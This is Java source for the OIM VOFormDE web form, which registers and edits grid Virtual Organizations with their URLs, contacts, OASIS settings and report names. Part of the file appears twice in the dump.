membership_services_url.addValidator(DivRepUrlValidator.getInstance());
// membership_services_url.setRequired(true);
membership_services_url.addInputClass("input-xxlarge");
membership_services_url.setSampleValue("https://voms.fnal.gov:8443/voms/cdf/");
purpose_url = new DivRepTextBox(this);
purpose_url.setLabel("Purpose URL");
purpose_url.setValue(rec.purpose_url);
purpose_url.addValidator(DivRepUrlValidator.getInstance());
// purpose_url.setRequired(true);
purpose_url.addInputClass("input-xxlarge");
purpose_url.setSampleValue("http://www-cdf.fnal.gov");
support_url = new DivRepTextBox(this);
support_url.setLabel("Support URL");
support_url.setValue(rec.support_url);
support_url.addValidator(DivRepUrlValidator.getInstance());
// support_url.setRequired(true);
support_url.addInputClass("input-xxlarge");
support_url.setSampleValue("http://cdfcaf.fnal.gov");
}
protected void onEvent(DivRepEvent e) {
// TODO Auto-generated method stub
}
@Override
public void render(PrintWriter out) {
out.write("<div id=\""+getNodeID()+"\">");
primary_url.render(out);
aup_url.render(out);
membership_services_url.render(out);
purpose_url.render(out);
support_url.render(out);
out.write("<br/></div>");
}
}
class OASISInfo extends DivRepFormElement {
ContactEditor managers;
URLListEditor repo_urls;
Boolean table_hidden;
OASISInfo(DivRep parent, ArrayList<VOOasisUserRecord> users, ArrayList<String> _repo_urls) {
super(parent);
table_hidden = false;
ContactModel pmodel = new ContactModel(context);
managers = new ContactEditor(this, pmodel, false, false);
managers.setMaxContacts(ContactRank.Primary, 10);
managers.setShowRank(false);
repo_urls = new URLListEditor(this);
repo_urls.setSampleURL("http://cvmfs.example.edu");
//if provided, populate currently selected contacts
if(users != null) {
for(VOOasisUserRecord user : users) {
ContactRecord keyrec = new ContactRecord();
keyrec.id = user.contact_id;
try {
ContactRecord person = pmodel.get(keyrec);
managers.addSelected(person, ContactRank.Primary);
} catch (SQLException e) {
log.error("Failed to lookup contact information to populate on oasis manager", e);
}
}
}
for(String url : _repo_urls) {
repo_urls.addUrl(url);
}
}
@Override
protected void onEvent(DivRepEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void render(PrintWriter out) {
out.write("<div id=\""+getNodeID()+"\" class=\"indent\">");
if(!isHidden()) {
//out.write("<table class=\"contact_table\"><tr>");
out.write("<b>OASIS Managers</b>");
//out.write("<td>");
managers.render(out);
//out.write("</td>");
//out.write("</tr></table>");
out.write("<b>OASIS Repo. URLs</b>");
repo_urls.render(out);
}
out.write("</div>");
}
public ArrayList<ContactRecord> getManagerContacts() {
return managers.getContactRecordsByRank(1);
}
public ArrayList<String> getRepoURLs() {
return repo_urls.getURLs();
}
@Override
public void setDisabled(Boolean b) {
managers.setDisabled(b);
repo_urls.setDisabled(b);
}
}
public void showHideScienceVODetail()
{
Boolean required = science_vo.getValue();
app_description.setRequired(required);
primary_url.setRequired(required);
field_of_science_de.setRequired(required);
science_vo_info.setHidden(!required);
science_vo_info.redraw();
}
public void showHideOasisUsers() {
Boolean use = use_oasis.getValue();
oasis_info.setHidden(!use);
oasis_info.redraw();
}
public VOFormDE(UserContext _context, VORecord rec, String origin_url) throws AuthorizationException, SQLException
{
super(_context.getPageRoot(), origin_url);
context = _context;
auth = context.getAuthorization();
id = rec.id;
new DivRepStaticContent(this, "<h2>Basic VO Information</h2>");
//pull vos for unique validator
LinkedHashMap<Integer, String> vos = getVONames();
if(id != null) { //if doing update, remove my own name (I can't use my own name)
vos.remove(id);
}
name = new DivRepTextBox(this);
name.setLabel("Name");
name.setValue(rec.name);
name.addValidator(new IncaseUniqueValidator(vos.values()));
name.setRequired(true);
name.setSampleValue("CDF");
long_name = new DivRepTextBox(this);
long_name.setLabel("Enter the Long Name for this VO");
long_name.setValue(rec.long_name);
long_name.setRequired(true); // TODO: agopu should this be required?
long_name.addInputClass("input-xlarge");
long_name.setSampleValue("Collider Detector at Fermilab");
cert_only = new DivRepCheckBox(this);
cert_only.setLabel("This VO is only used to issue user certificates");
cert_only.setValue(rec.cert_only);
/*
cert_only.addEventListener(new DivRepEventListener() {
public void handleEvent(DivRepEvent e) {
showHideOasisUsers();
}
});
*/
sc_id = new DivRepSelectBox(this, getSCNames());
sc_id.setLabel("Select a Support Center that supports your users and applications");
sc_id.setValue(rec.sc_id);
sc_id.setRequired(true);
//new DivRepStaticContent(this, "<h2>Sub-VO Mapping</h2>");
//new DivRepStaticContent(this, "<p>Check if this VO is a sub-VO of an existing VO. For example, FermilabMinos is a sub VO of the Fermilab VO.</p>");
child_vo = new DivRepCheckBox(this);
child_vo.setLabel("This is a sub-VO of an existing VO (ex. FermilabMinos is a sub VO of the Fermilab VO)");
parent_vo = new DivRepSelectBox(this, vos);
parent_vo.setLabel("Select a Parent VO");
parent_vo.addClass("indent");
hideParentVOSelector(true);
child_vo.addEventListener(new DivRepEventListener() {
public void handleEvent(DivRepEvent e) {
if(((String)e.value).compareTo("true") == 0) {
hideParentVOSelector(false);
} else {
hideParentVOSelector(true);
}
}
});
if(id != null) {
VOModel model = new VOModel(context);
VORecord parent_vo_rec = model.getParentVO(id);
if(parent_vo_rec != null) {
parent_vo.setValue(parent_vo_rec.id);
child_vo.setValue(true);
hideParentVOSelector(false);
}
// AG: Need to clean this up; especially for VOs that are not child VOs of a parent
// .. perhaps a yes/no first?
}
parent_vo.addEventListener(new DivRepEventListener () {
public void handleEvent(DivRepEvent e) {
handleParentVOSelection(Integer.parseInt((String)e.value));
}
});
description = new DivRepTextArea(this);
description.setLabel("Enter a Description for this VO");
description.setValue(rec.description);
description.setRequired(true);
description.setSampleValue("Collider Detector at Fermilab");
community = new DivRepTextArea(this);
community.setLabel("Describe the Community this VO serves");
community.setValue(rec.community);
community.setRequired(true);
community.setSampleValue("The Collider Detector at Fermilab (CDF) experimental collaboration is committed to studying high energy particle collisions");
new DivRepStaticContent(this, "<h2>Additional Information for VOs that include OSG Users</h2>");
///////////////////////////////////////////////////////////////////////////////////////////
ToolTip tip = new ToolTip("Uncheck this checkbox if your VO does not intend to use any OSG resources, and just wants to provide services to the OSG.");
new DivRepStaticContent(this, "<span class=\"right\">"+tip.render()+"</span>");
science_vo = new DivRepCheckBox(this);
science_vo.setLabel("This VO has users who do OSG-dependent scientific research.");
science_vo.setValue(rec.science_vo);
science_vo_info = new ScienceVOInfo(this, rec);
science_vo.addEventListener(new DivRepEventListener() {
public void handleEvent(DivRepEvent e) {
showHideScienceVODetail();
}
});
// New VO addition attempt - we want the checkbox checked by default for new VO additions
if(rec.id == null) {
science_vo.setValue(true);
}
showHideScienceVODetail();
///////////////////////////////////////////////////////////////////////////////////////////
new DivRepStaticContent(this, "<h2>OASIS Information</h2>");
new DivRepStaticContent(this, "<p class=\"help-block\">Only OASIS Administrator can update this information. Please contact GOC for an assistance.</p>");
use_oasis = new DivRepCheckBox(this);
use_oasis.setLabel("OASIS Enabled");
use_oasis.setValue(rec.use_oasis);
use_oasis.addEventListener(new DivRepEventListener() {
public void handleEvent(DivRepEvent e) {
showHideOasisUsers();
}
});
ArrayList<VOOasisUserRecord> users = null;
if(rec.id != null) {
VOOasisUserModel vooumodel = new VOOasisUserModel(context);
users = vooumodel.getByVOID(rec.id);
}
oasis_info = new OASISInfo(this, users, rec.getOASISRepoUrls());
if(!auth.allows("admin_oasis")) {
use_oasis.setDisabled(true);
oasis_info.setDisabled(true);
}
showHideOasisUsers();
///////////////////////////////////////////////////////////////////////////////////////////
new DivRepStaticContent(this, "<h2>Contact Information</h2>");
HashMap<Integer/*contact_type_id*/, ArrayList<VOContactRecord>> voclist_grouped = null;
if(id != null) {
VOContactModel vocmodel = new VOContactModel(context);
ArrayList<VOContactRecord> voclist = vocmodel.getByVOID(id);
voclist_grouped = vocmodel.groupByContactTypeID(voclist);
} else {
//set user's contact as submitter
voclist_grouped = new HashMap<Integer, ArrayList<VOContactRecord>>();
ArrayList<VOContactRecord> submitter_list = new ArrayList<VOContactRecord>();
VOContactRecord submitter = new VOContactRecord();
submitter.contact_id = auth.getContact().id;
submitter.contact_rank_id = 1;//primary
submitter.contact_type_id = 1;//submitter
submitter_list.add(submitter);
voclist_grouped.put(1/*submitter*/, submitter_list);
// Should we make a function for these steps and call it 4 times? -agopu
ArrayList<VOContactRecord> manager_list = new ArrayList<VOContactRecord>();
VOContactRecord manager = new VOContactRecord();
manager.contact_id = auth.getContact().id;
manager.contact_rank_id = 1;//primary
manager.contact_type_id = 6;//manager
manager_list.add(manager);
voclist_grouped.put(6/*manager*/, manager_list);
ArrayList<VOContactRecord> admin_contact_list = new ArrayList<VOContactRecord>();
VOContactRecord primary_admin = new VOContactRecord();
primary_admin.contact_id = auth.getContact().id;
primary_admin.contact_rank_id = 1;//primary
primary_admin.contact_type_id = 3;//admin
admin_contact_list.add(primary_admin);
voclist_grouped.put(3/*admin*/, admin_contact_list);
ArrayList<VOContactRecord> security_contact_list = new ArrayList<VOContactRecord>();
VOContactRecord primary_security_contact= new VOContactRecord();
primary_security_contact.contact_id = auth.getContact().id;
primary_security_contact.contact_rank_id = 1;//primary
primary_security_contact.contact_type_id = 2;//security_contact
security_contact_list.add(primary_security_contact);
voclist_grouped.put(2/*security_contact*/, security_contact_list);
}
ContactTypeModel ctmodel = new ContactTypeModel(context);
for(ContactTypeRecord.Info contact_type : ContactTypes) {
tip = new ToolTip(contact_type.desc);
ContactEditor editor = createContactEditor(voclist_grouped, ctmodel.get(contact_type.id), tip);
switch(contact_type.id) {
case 1://submitter
//only oim admin can edit submitter
if(!auth.allows("admin")) {
editor.setDisabled(true);
}
editor.setMinContacts(ContactRank.Primary, 1); //required
break;
case 2://security contact
editor.setMinContacts(ContactRank.Primary, 1); //required
break;
case 3://admin
editor.setMinContacts(ContactRank.Primary, 1); //required
break;
case 5://misc
break;
case 6://manager
editor.setMinContacts(ContactRank.Primary, 1); //required
break;
case 11://ra
editor.setDisabled(!auth.allows("admin_ra"));
//editor.setLabel(ContactRank.Primary, "Primary RA");
//editor.setLabel(ContactRank.Secondary, "Secondary RA");
editor.setMaxContacts(ContactRank.Secondary, 8);
break;
case 12://sponsor
editor.setMinContacts(ContactRank.Primary, 0);
editor.setMinContacts(ContactRank.Secondary, 0);
editor.setMaxContacts(ContactRank.Secondary, 36);//requested by Alain Deximo during 3/25/2013 internal meeting
break;
}
contact_editors.put(contact_type.id, editor);
}
new DivRepStaticContent(this, "<h2>Confirmation</h2>");
confirmation = new Confirmation(this, rec, auth);
if(auth.allows("admin")) {
new DivRepStaticContent(this, "<h2>Administrative</h2>");
}
LinkedHashMap<Integer, String> signers = CertificateManager.getSigners();
certificate_signer = new DivRepSelectBox(this, signers);
certificate_signer.setLabel("Certificate Signer");
certificate_signer.setHidden(true);
certificate_signer.setHasNull(false);
certificate_signer.setValue(CertificateManager.Signers.valueOf(rec.certificate_signer).ordinal());
//keep this only available for debug for now.
if(StaticConfig.isDebug()) {
if(auth.allows("admin") || auth.allows("admin_ra")) {
certificate_signer.setHidden(false);
}
}
active = new DivRepCheckBox(this);
active.setLabel("Active");
active.setValue(rec.active);
if(!auth.allows("admin")) {
active.setHidden(true);
}
disable = new DivRepCheckBox(this);
disable.setLabel("Disable");
disable.setValue(rec.disable);
if(!auth.allows("admin")) {
disable.setHidden(true);
}
if(id == null) {
AUPConfirmation aup = new AUPConfirmation(this);
}
comment = new DivRepTextArea(this);
comment.setLabel("Update Comment");
comment.setSampleValue("Please provide a reason for this update.");
}
private void hideParentVOSelector(Boolean b)
{
parent_vo.setHidden(b);
parent_vo.redraw();
}
private ContactEditor createContactEditor(HashMap<Integer, ArrayList<VOContactRecord>> voclist, ContactTypeRecord ctrec, ToolTip tip) throws SQLException
{
new DivRepStaticContent(this, "<h3>" + ctrec.name + " " + tip.render() + "</h3>");
ContactModel pmodel = new ContactModel(context);
ContactEditor editor = new ContactEditor(this, pmodel, ctrec.allow_secondary, ctrec.allow_tertiary);
//if provided, populate currently selected contacts
if(voclist != null) {
ArrayList<VOContactRecord> clist = voclist.get(ctrec.id);
if(clist != null) {
for(VOContactRecord rec : clist) {
ContactRecord keyrec = new ContactRecord();
keyrec.id = rec.contact_id;
ContactRecord person = pmodel.get(keyrec);
editor.addSelected(person, rec.contact_rank_id);
}
}
}
return editor;
}
private LinkedHashMap<Integer, String> getSCNames() throws AuthorizationException, SQLException
{
SCModel model = new SCModel(context);
ArrayList<SCRecord> recs = model.getAllActiveNonDisabled();
Collections.sort(recs, new Comparator<SCRecord> () {
public int compare(SCRecord a, SCRecord b) {
return a.getName().compareToIgnoreCase(b.getName());
}
});
LinkedHashMap<Integer, String> keyvalues = new LinkedHashMap<Integer, String>();
for(SCRecord rec : recs) {
keyvalues.put(rec.id, rec.name);
}
return keyvalues;
}
private LinkedHashMap<Integer, String> getVONames() throws AuthorizationException, SQLException
{
//pull all VOs
VOModel model = new VOModel(context);
ArrayList<VORecord> recs = model.getAll();
Collections.sort(recs, new Comparator<VORecord> () {
public int compare(VORecord a, VORecord b) {
return a.getName().compareToIgnoreCase(b.getName());
}
});
LinkedHashMap<Integer, String> keyvalues = new LinkedHashMap<Integer, String>();
for(VORecord rec : recs) {
keyvalues.put(rec.id, rec.name);
}
return keyvalues;
}
private void handleParentVOSelection(Integer parent_vo_id) {
VOModel model = new VOModel (context);
try {
VORecord parent_vo_rec = model.get(parent_vo_id);
if ((primary_url.getValue() == null) || (primary_url.getValue().length() == 0)) {
primary_url.setValue(parent_vo_rec.primary_url);
}
if ((aup_url.getValue() == null) || (aup_url.getValue().length() == 0)) {
aup_url.setValue(parent_vo_rec.aup_url);
}
if ((membership_services_url.getValue() == null) || (membership_services_url.getValue().length() == 0)) {
membership_services_url.setValue(parent_vo_rec.membership_services_url);
}
if ((purpose_url.getValue() == null) || (purpose_url.getValue().length() == 0)) {
purpose_url.setValue(parent_vo_rec.purpose_url);
}
if ((support_url.getValue() == null) || (support_url.getValue().length() == 0)) {
support_url.setValue(parent_vo_rec.support_url);
}
redraw();
if (sc_id.getValue() == null) {
sc_id.setValue(parent_vo_rec.sc_id);
sc_id.redraw();
}
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
protected Boolean doSubmit()
{
VORecord rec = new VORecord();
rec.id = id;
rec.name = name.getValue();
rec.long_name = long_name.getValue();
rec.description = description.getValue();
rec.primary_url = primary_url.getValue();
rec.aup_url = aup_url.getValue();
rec.membership_services_url = membership_services_url.getValue();
rec.purpose_url = purpose_url.getValue();
rec.support_url = support_url.getValue();
rec.app_description = app_description.getValue();
rec.community = community.getValue();
rec.sc_id = sc_id.getValue();
rec.confirmed = confirmation.getTimestamp();
rec.active = active.getValue();
rec.disable = disable.getValue();
rec.science_vo = science_vo.getValue();
rec.use_oasis = use_oasis.getValue();
rec.cert_only = cert_only.getValue();
rec.setOASISRepoUrls(oasis_info.getRepoURLs());
CertificateManager.Signers[] signers = CertificateManager.Signers.values();
rec.certificate_signer = signers[certificate_signer.getValue()].name();
context.setComment(comment.getValue());
ArrayList<VOContactRecord> contacts = getContactRecordsFromEditor();
HashMap<FieldOfScienceRecord, FOSRank/*rank*/> foss = field_of_science_de.getFOSRecords();
/*
ArrayList<Integer> field_of_science_ids = new ArrayList();
for(Integer id : field_of_science_de.getSciences().keySet()) {
DivRepCheckBox elem = field_of_science_de.getSciences().get(id);
if(elem.getValue()) {
field_of_science_ids.add(id);
}
}
*/
VOModel model = new VOModel(context);
try {
if(rec.id == null) {
model.insertDetail(rec,
contacts,
parent_vo.getValue(),
foss,
vo_report_name_div.getVOReports(model),
oasis_info.getManagerContacts());
context.message(MessageType.SUCCESS, "Successfully registered new VO. You should receive a notification with an instruction on how to active your VO.");
try {
//Find the Footprint ID of the associated SC
SCModel scmodel = new SCModel(context);
SCRecord screc = scmodel.get(rec.sc_id);
//create footprint ticket
Footprints fp = new Footprints(context);
fp.createNewVOTicket(rec.name, screc);
} catch (Exception fpe) {
log.error("Failed to open footprints ticket: ", fpe);
}
} else {
model.updateDetail(rec,
contacts,
parent_vo.getValue(),
foss,
vo_report_name_div.getVOReports(model),
oasis_info.getManagerContacts());
context.message(MessageType.SUCCESS, "Successfully updated a VO.");
}
return true;
} catch (Exception e) {
alert(e.getMessage());
log.error("Failed to insert/update record", e);
return false;
}
}
//retrieve contact records from the contact editor.
//be aware that VOContactRecord's vo_id is not populated.. you need to fill it out with
//appropriate vo_id later
private ArrayList<VOContactRecord> getContactRecordsFromEditor()
{
ArrayList<VOContactRecord> list = new ArrayList();
for(Integer type_id : contact_editors.keySet())
{
ContactEditor editor = contact_editors.get(type_id);
HashMap<ContactRecord, ContactRank> contacts = editor.getContactRecords();
for(ContactRecord contact : contacts.keySet()) {
VOContactRecord rec = new VOContactRecord();
ContactRank rank = contacts.get(contact);
rec.contact_id = contact.id;
rec.contact_type_id = type_id;
rec.contact_rank_id = rank.id;
list.add(rec);
}
}
return list;
}
}
| src/edu/iu/grid/oim/view/divrep/form/VOFormDE.java | package edu.iu.grid.oim.view.divrep.form;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashMap;
import java.util.LinkedHashMap;
import org.apache.log4j.Logger;
import com.divrep.DivRep;
import com.divrep.DivRepEvent;
import com.divrep.DivRepEventListener;
import com.divrep.common.DivRepCheckBox;
import com.divrep.common.DivRepForm;
import com.divrep.common.DivRepFormElement;
import com.divrep.common.DivRepSelectBox;
import com.divrep.common.DivRepStaticContent;
import com.divrep.common.DivRepTextArea;
import com.divrep.common.DivRepTextBox;
import com.divrep.validator.DivRepUrlValidator;
import edu.iu.grid.oim.lib.Authorization;
import edu.iu.grid.oim.lib.Footprints;
import edu.iu.grid.oim.lib.AuthorizationException;
import edu.iu.grid.oim.lib.StaticConfig;
import edu.iu.grid.oim.model.ContactRank;
import edu.iu.grid.oim.model.FOSRank;
import edu.iu.grid.oim.model.UserContext;
import edu.iu.grid.oim.model.UserContext.MessageType;
import edu.iu.grid.oim.model.cert.CertificateManager;
import edu.iu.grid.oim.model.db.ContactTypeModel;
import edu.iu.grid.oim.model.db.ContactModel;
import edu.iu.grid.oim.model.db.FieldOfScienceModel;
import edu.iu.grid.oim.model.db.VOOasisUserModel;
import edu.iu.grid.oim.model.db.VOReportContactModel;
import edu.iu.grid.oim.model.db.VOReportNameModel;
import edu.iu.grid.oim.model.db.VOReportNameFqanModel;
import edu.iu.grid.oim.model.db.SCModel;
import edu.iu.grid.oim.model.db.VOContactModel;
import edu.iu.grid.oim.model.db.VOFieldOfScienceModel;
import edu.iu.grid.oim.model.db.VOModel;
import edu.iu.grid.oim.model.db.record.ContactTypeRecord;
import edu.iu.grid.oim.model.db.record.ContactRecord;
import edu.iu.grid.oim.model.db.record.FieldOfScienceRecord;
import edu.iu.grid.oim.model.db.record.VOOasisUserRecord;
import edu.iu.grid.oim.model.db.record.VOReportContactRecord;
import edu.iu.grid.oim.model.db.record.VOReportNameRecord;
import edu.iu.grid.oim.model.db.record.VOReportNameFqanRecord;
import edu.iu.grid.oim.model.db.record.SCRecord;
import edu.iu.grid.oim.model.db.record.VOContactRecord;
import edu.iu.grid.oim.model.db.record.VOFieldOfScienceRecord;
import edu.iu.grid.oim.model.db.record.VORecord;
import edu.iu.grid.oim.view.ToolTip;
import edu.iu.grid.oim.view.divrep.AUPConfirmation;
import edu.iu.grid.oim.view.divrep.Confirmation;
import edu.iu.grid.oim.view.divrep.ContactEditor;
import edu.iu.grid.oim.view.divrep.URLListEditor;
import edu.iu.grid.oim.view.divrep.VOReportNames;
import edu.iu.grid.oim.view.divrep.FOSEditor;
import edu.iu.grid.oim.view.divrep.form.validator.IncaseUniqueValidator;
public class VOFormDE extends DivRepForm
{
static Logger log = Logger.getLogger(VOFormDE.class);
private UserContext context;
private Authorization auth;
private Integer id;
private DivRepTextBox name;
private DivRepTextBox long_name;
private DivRepTextArea description;
private DivRepTextArea community;
private DivRepSelectBox sc_id;
private DivRepCheckBox active;
private DivRepCheckBox disable;
private DivRepCheckBox child_vo;
private DivRepSelectBox parent_vo;
private DivRepSelectBox certificate_signer;
private Confirmation confirmation;
private DivRepTextArea comment;
static public ArrayList<ContactTypeRecord.Info> ContactTypes;
static {
ContactTypes = new ArrayList<ContactTypeRecord.Info>();
ContactTypes.add(new ContactTypeRecord.Info(1, "A contact who has registered this virtual organization"));
ContactTypes.add(new ContactTypeRecord.Info(6, "Contacts who decides on what virtual organizations are allowed to run on VO-owned resources, who are users of this virtual organization, etc"));
ContactTypes.add(new ContactTypeRecord.Info(3, "Contacts for ticketing and assorted issues. This is typically a user/application support person or a help desk"));
ContactTypes.add(new ContactTypeRecord.Info(2, "Security notifications sent out by the OSG security team are sent to primary and secondary virtual organization security contacts"));
ContactTypes.add(new ContactTypeRecord.Info(5, "Contacts who do not fall under any of the above types but would like to be able to edit this virtual organization can be added as miscellaneous contact"));
ContactTypes.add(new ContactTypeRecord.Info(11, "RA (Registration Authority) agent who can approve user certificate requests for this VO. Only PKI staff can update this information"));
ContactTypes.add(new ContactTypeRecord.Info(12, "Sponsors who can vet user certificate requesters."));
}
private HashMap<Integer, ContactEditor> contact_editors = new HashMap();
// Moving fields related to only VOs that do actual research, apart
// from providing services on their facility to a separate area that
// that can be hidden -agopu 2010-05-31
private DivRepCheckBox science_vo;
private ScienceVOInfo science_vo_info;
private DivRepTextArea app_description;
private VOReportNames vo_report_name_div;
private FOSEditor field_of_science_de;
private URLs urls;
private DivRepTextBox primary_url; // Moved out of URLs class to enable direct property manipulation
private DivRepTextBox aup_url;
private DivRepTextBox membership_services_url;
private DivRepTextBox purpose_url;
private DivRepTextBox support_url;
private DivRepCheckBox use_oasis;
private OASISInfo oasis_info;
private DivRepCheckBox cert_only;
class ScienceVOInfo extends DivRepFormElement
{
protected void onEvent(DivRepEvent e) {
// TODO Auto-generated method stub
}
ScienceVOInfo(DivRep _parent, VORecord rec) {
super(_parent);
app_description = new DivRepTextArea(this);
app_description.setLabel("Enter an Application Description");
app_description.setValue(rec.app_description);
app_description.setSampleValue("CDF Analysis jobs will be run");
urls = new URLs(this, rec);
new DivRepStaticContent(this, "<h3>Field Of Science</h3>");
try {
field_of_science_de = new FOSEditor(this, new FieldOfScienceModel(context), true);
FieldOfScienceModel fosmodel = new FieldOfScienceModel(context);
//ArrayList<Integer> selected = new ArrayList<Integer>();
//select currently selected field of science
if(rec.id != null) {
VOFieldOfScienceModel vofsmodel = new VOFieldOfScienceModel(context);
for(VOFieldOfScienceRecord fsrec : vofsmodel.getByVOID(rec.id)) {
//selected.add(fsrec.field_of_science_id);
FieldOfScienceRecord fos = fosmodel.get(fsrec.field_of_science_id);
field_of_science_de.addSelected(fos, fsrec.rank_id);
}
}
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
new DivRepStaticContent(this, "<p class=\"help-block\">* If you can't find the field of science you are trying to enter, please <a href=\"https://ticket.grid.iu.edu\" target='_blank'\">submit GOC ticket</a> and request to add a new field of science.</p>");
// Handle reporting names
new DivRepStaticContent(this, "<h3>Reporting Names for your VO</h3>");
new DivRepStaticContent(this, "<p>This section allows you to define report names for this VO. These report names are used by the Gratia Accounting software to organize periodic usage accounting reports. You need to define at least one report name -- for example, one with the same name as the VO (short) name and no FQANs. Large VOs with several sub-groups can define different report names, and also one or more FQAN per report name. Contact [email protected] if you have any questions about VO report names.</p>");
ContactModel cmodel = new ContactModel (context);
VOReportNameModel vorepname_model = new VOReportNameModel(context);
VOReportNameFqanModel vorepnamefqan_model = new VOReportNameFqanModel(context);
ArrayList<VOReportNameRecord> vorepname_records;
try {
vorepname_records = vorepname_model.getAll();
vo_report_name_div = new VOReportNames(this, vorepname_records, cmodel);
if(id != null) {
for(VOReportNameRecord vorepname_rec : vorepname_model.getAllByVOID(id)) {
VOReportContactModel vorcmodel = new VOReportContactModel(context);
Collection<VOReportContactRecord> vorc_list = vorcmodel.getAllByVOReportNameID(vorepname_rec.id);
Collection<VOReportNameFqanRecord> vorepnamefqan_list = vorepnamefqan_model.getAllByVOReportNameID(vorepname_rec.id);
vo_report_name_div.addVOReportName(vorepname_rec, vorepnamefqan_list, vorc_list);
}
} else {
//add new one by default
vo_report_name_div.addVOReportName(
new VOReportNameRecord(),
new ArrayList<VOReportNameFqanRecord>(),
new ArrayList<VOReportContactRecord>()
);
}
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
//new DivRepStaticContent(this, "</div>");
}
public void render(PrintWriter out) {
out.print("<div id=\""+getNodeID()+"\">");
if(!isHidden()) {
for(DivRep child : childnodes) {
if(child instanceof DivRepFormElement) {
out.print("<div class=\"divrep_form_element\">");
child.render(out);
out.print("</div>");
} else {
//non form element..
child.render(out);
}
}
error.render(out);
}
out.print("</div>");
}
}
class URLs extends DivRepFormElement
{
public URLs(DivRep _parent, VORecord rec) {
super(_parent);
new DivRepStaticContent(this, "<h2>Relevant URLs</h2>");
primary_url = new DivRepTextBox(this);
primary_url.setLabel("Primary URL");
primary_url.setValue(rec.primary_url);
primary_url.addValidator(DivRepUrlValidator.getInstance());
// primary_url.setRequired(true);
primary_url.addInputClass("input-xxlarge");
primary_url.setSampleValue("http://www-cdf.fnal.gov");
aup_url = new DivRepTextBox(this);
aup_url.setLabel("AUP URL");
aup_url.setValue(rec.aup_url);
aup_url.addValidator(DivRepUrlValidator.getInstance());
// aup_url.setRequired(true);
aup_url.addInputClass("input-xxlarge");
aup_url.setSampleValue("http://www-cdf.fnal.gov");
membership_services_url = new DivRepTextBox(this);
membership_services_url.setLabel("Membership Services (VOMS) URL");
membership_services_url.setValue(rec.membership_services_url);
membership_services_url.addValidator(DivRepUrlValidator.getInstance());
// membership_services_url.setRequired(true);
membership_services_url.addInputClass("input-xxlarge");
membership_services_url.setSampleValue("https://voms.fnal.gov:8443/voms/cdf/");
purpose_url = new DivRepTextBox(this);
purpose_url.setLabel("Purpose URL");
purpose_url.setValue(rec.purpose_url);
purpose_url.addValidator(DivRepUrlValidator.getInstance());
// purpose_url.setRequired(true);
purpose_url.addInputClass("input-xxlarge");
purpose_url.setSampleValue("http://www-cdf.fnal.gov");
support_url = new DivRepTextBox(this);
support_url.setLabel("Support URL");
support_url.setValue(rec.support_url);
support_url.addValidator(DivRepUrlValidator.getInstance());
// support_url.setRequired(true);
support_url.addInputClass("input-xxlarge");
support_url.setSampleValue("http://cdfcaf.fnal.gov");
}
protected void onEvent(DivRepEvent e) {
// TODO Auto-generated method stub
}
@Override
public void render(PrintWriter out) {
out.write("<div id=\""+getNodeID()+"\">");
primary_url.render(out);
aup_url.render(out);
membership_services_url.render(out);
purpose_url.render(out);
support_url.render(out);
out.write("<br/></div>");
}
}
class OASISInfo extends DivRepFormElement {
ContactEditor managers;
URLListEditor repo_urls;
Boolean table_hidden;
OASISInfo(DivRep parent, ArrayList<VOOasisUserRecord> users, ArrayList<String> _repo_urls) {
super(parent);
table_hidden = false;
ContactModel pmodel = new ContactModel(context);
managers = new ContactEditor(this, pmodel, false, false);
managers.setMaxContacts(ContactRank.Primary, 10);
managers.setShowRank(false);
repo_urls = new URLListEditor(this);
repo_urls.setSampleURL("http://cvmfs.example.edu");
//if provided, populate currently selected contacts
if(users != null) {
for(VOOasisUserRecord user : users) {
ContactRecord keyrec = new ContactRecord();
keyrec.id = user.contact_id;
try {
ContactRecord person = pmodel.get(keyrec);
managers.addSelected(person, ContactRank.Primary);
} catch (SQLException e) {
log.error("Failed to lookup contact information to populate on oasis manager", e);
}
}
}
for(String url : _repo_urls) {
repo_urls.addUrl(url);
}
}
@Override
protected void onEvent(DivRepEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void render(PrintWriter out) {
out.write("<div id=\""+getNodeID()+"\" class=\"indent\">");
if(!isHidden()) {
//out.write("<table class=\"contact_table\"><tr>");
out.write("<b>OASIS Managers</b>");
//out.write("<td>");
managers.render(out);
//out.write("</td>");
//out.write("</tr></table>");
out.write("<b>OASIS Repo. URLs</b>");
repo_urls.render(out);
}
out.write("</div>");
}
public ArrayList<ContactRecord> getManagerContacts() {
return managers.getContactRecordsByRank(1);
}
public ArrayList<String> getRepoURLs() {
return repo_urls.getURLs();
}
@Override
public void setDisabled(Boolean b) {
managers.setDisabled(b);
repo_urls.setDisabled(b);
}
}
public void showHideScienceVODetail()
{
Boolean required = science_vo.getValue();
app_description.setRequired(required);
primary_url.setRequired(required);
field_of_science_de.setRequired(required);
science_vo_info.setHidden(!required);
science_vo_info.redraw();
}
public void showHideOasisUsers() {
Boolean use = use_oasis.getValue();
oasis_info.setHidden(!use);
oasis_info.redraw();
}
public VOFormDE(UserContext _context, VORecord rec, String origin_url) throws AuthorizationException, SQLException
{
super(_context.getPageRoot(), origin_url);
context = _context;
auth = context.getAuthorization();
id = rec.id;
new DivRepStaticContent(this, "<h2>Basic VO Information</h2>");
//pull vos for unique validator
LinkedHashMap<Integer, String> vos = getVONames();
if(id != null) { //if doing update, remove my own name (I can't use my own name)
vos.remove(id);
}
name = new DivRepTextBox(this);
name.setLabel("Name");
name.setValue(rec.name);
name.addValidator(new IncaseUniqueValidator(vos.values()));
name.setRequired(true);
name.setSampleValue("CDF");
long_name = new DivRepTextBox(this);
long_name.setLabel("Enter the Long Name for this VO");
long_name.setValue(rec.long_name);
long_name.setRequired(true); // TODO: agopu should this be required?
long_name.addInputClass("input-xlarge");
long_name.setSampleValue("Collider Detector at Fermilab");
cert_only = new DivRepCheckBox(this);
cert_only.setLabel("This VO is only used to issue user certificates");
cert_only.setValue(rec.cert_only);
/*
cert_only.addEventListener(new DivRepEventListener() {
public void handleEvent(DivRepEvent e) {
showHideOasisUsers();
}
});
*/
sc_id = new DivRepSelectBox(this, getSCNames());
sc_id.setLabel("Select a Support Center that supports your users and applications");
sc_id.setValue(rec.sc_id);
sc_id.setRequired(true);
